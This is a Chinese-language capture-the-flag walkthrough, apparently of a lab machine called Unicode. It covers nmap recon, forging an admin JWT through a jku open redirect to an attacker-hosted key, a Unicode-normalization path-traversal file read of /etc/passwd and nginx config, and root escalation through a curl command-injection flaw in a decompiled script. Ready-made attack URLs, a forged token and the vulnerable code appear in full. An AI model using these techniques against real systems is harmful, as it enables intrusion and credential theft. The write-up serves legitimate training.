Unicode

信息收集

ports=$(nmap -p- --min-rate=1000 -T4 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -sC -sV -oN result -p$ports $1

发现目标主机开放了ssh和web服务

我们先访问一下web服务，发现是一个注册登录的页面，我们先注册一个用户登录看看页面都实现了哪些功能

登录成功后，发现存在一个文件上传页面，但是经过多次尝试，可以上传成功，可是并不能获取到上传的路径

当我打开查看网页cookie的时候，发现是JWT形式存储

我们解密JWT后发现存在一个url路径，我们将其添加到hosts文件后进行访问并将jwks.json值保存下来

漏洞利用

这个漏洞利用过程就比较复杂了，也比较考验渗透测试者的经验和脑洞。首先我们先在https://mkjwk.org/这个网站上生成一个用于反弹到本机上的json值，我们将生成的n值对应的值替换掉原来保存的jwks.json的值

然后我们利用url重定向，先在本地开放一个微型的服务器，然后将用户变换为admin，生成一个新的JWT值用户登录admin用户界面，最后将新生成的公钥私钥值复制到生成页面上。

生成一个新的JWT值，替换掉用普通用户登录的JWT值，刷新页面

eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImprdSI6Imh0dHA6Ly9oYWNrbWVkaWEuaHRiL3N0YXRpYy8uLi9yZWRpcmVjdD91cmw9MTAuMTAuMTQuMjMvandrcy5qc29uIn0.eyJ1c2VyIjoiYWRtaW4ifQ.XdbEyn8OmY2soOmA_LCwfwPyW_CgWyMD0TyeVDQZ0KlVTLHTaiuhui961b8qXqc_Kbxu20Zt6FYaZV_JS9dP_RT19ecIdFMZaEkRup-y07r1KBoHMWiGTyg-Q9uc1auj3XMqjHSp6rT7eTEsVFv-qzjQEVPaRJfqYLoE6Hxt2aW2bvG1I3PoEm9oVnH3zXm_ngM46AC_4Iy3ZMXduufwEeJY8OLkQPlZgQ0s3tuQjDZqRjFMlYBz0sGkgw_Oud-40hvrylaQmJdmsulrbED9BLiuhCvbFrX_Q-tXlxkxHWc5Q52co1qf6A0P-2N_zeRjhw0M1RB3T7G2GvTKZGFJzQ

点击current month页面是，发现是一个本地文件读取漏洞，并且一般的读取姿势还不能读取成功

我们尝试使用U+FE30的编码形式进行绕过，经过反复尝试成功读取到/etc/passwd文件的内容，这是有关文件读取编码绕过的具体内容https://link.zhihu.com/?target=https%3A//lazarv.com/posts/unicode-normalization-vulnerabilities/

http://10.10.11.126/display/?page=%EF%B8%B0/%EF%B8%B0/%EF%B8%B0/%EF%B8%B0/%EF%B8%B0/etc/passwd

我们进行信息收集时发现，目标主机上运行着nginx服务器，我们可以尝试读取nginx相关的用户配置信息。读取到的路径是/home/code/coder，并且存在密码信息文件db.yaml

http://10.10.11.126/display/?page=%EF%B8%B0/%EF%B8%B0/%EF%B8%B0/%EF%B8%B0/%EF%B8%B0/etc/nginx/sites-available/default

成功读取到code用户信息和相关密码信息内容

从收集的信息上看，code用户是可以使用ssh连接bash终端的

提权到ROOT

发现可以以root身份运行treport程序，我们可以尝试运行分析其功能

发现是对分析报告的生成，并且文件的类型是python，在第三个选择上调用了curl命令进行报告下载

突破点就是在第三个选项上，但是我们不知道他具体程序的源码是怎么实现的，所以需要对这个python文件进行逆向源码还原。这里使用到的工具有pyinstxtractor和pycdc，并且将treport文件通过scp的形式下载下来

脚本运行成功后会产生一个新的文件夹

文件夹内大部分文件都是pyc文件格式

那么我们就要用到c和c++的转换工具了


通过审计源代码可以得知，在下载文件部分使用了黑名单进行过滤，但是唯独没有过滤大括号，因此我们可以使用大括号进行文件读取，我们可以使用curl的–config参数对指定文件内容进行读取

./pycdc ../treport_extracted/treport.pyc

# Source Generated with Decompyle++
# File: treport.pyc (Python 3.9)

Unsupported opcode: <255>
import os
import sys
from datetime import datetime
import re

class threat_report:
    
    def create(self):
Unsupported opcode: <255>
        file_name = input('Enter the filename:')
        content = input('Enter the report:')
        if '../' in file_name:
            print('NOT ALLOWED')
            sys.exit(0)
        file_path = '/root/reports/' + file_name
    # WARNING: Decompyle incomplete

    
    def list_files(self):
        file_list = os.listdir('/root/reports/')
        files_in_dir = ' '.join((lambda .0: [ str(elem) for elem in .0 ])(file_list))
        print('ALL THE THREAT REPORTS:')
        print(files_in_dir)

    
    def read_file(self):
Unsupported opcode: <255>
        file_name = input('\nEnter the filename:')
        if '../' in file_name:
            print('NOT ALLOWED')
            sys.exit(0)
        contents = ''
        file_name = '/root/reports/' + file_name
    # WARNING: Decompyle incomplete

    
    def download(self):
        now = datetime.now()
        current_time = now.strftime('%H_%M_%S')
        command_injection_list = [
            '$',
            '`',
            ';',
            '&',
            '|',
            '||',
            '>',
            '<',
            '?',
            "'",
            '@',
            '#',
            '$',
            '%',
            '^',
            '(',
            ')']
        ip = input('Enter the IP/file_name:')
        res = bool(re.search('\\s', ip))
        if res:
            print('INVALID IP')
            sys.exit(0)
        if 'file' in ip and 'gopher' in ip or 'mysql' in ip:
            print('INVALID URL')
            sys.exit(0)
        cmd = '/bin/bash -c "curl ' + ip + ' -o /root/reports/threat_report_' + current_time + '"'
        os.system(cmd)


# WARNING: Decompyle incomplete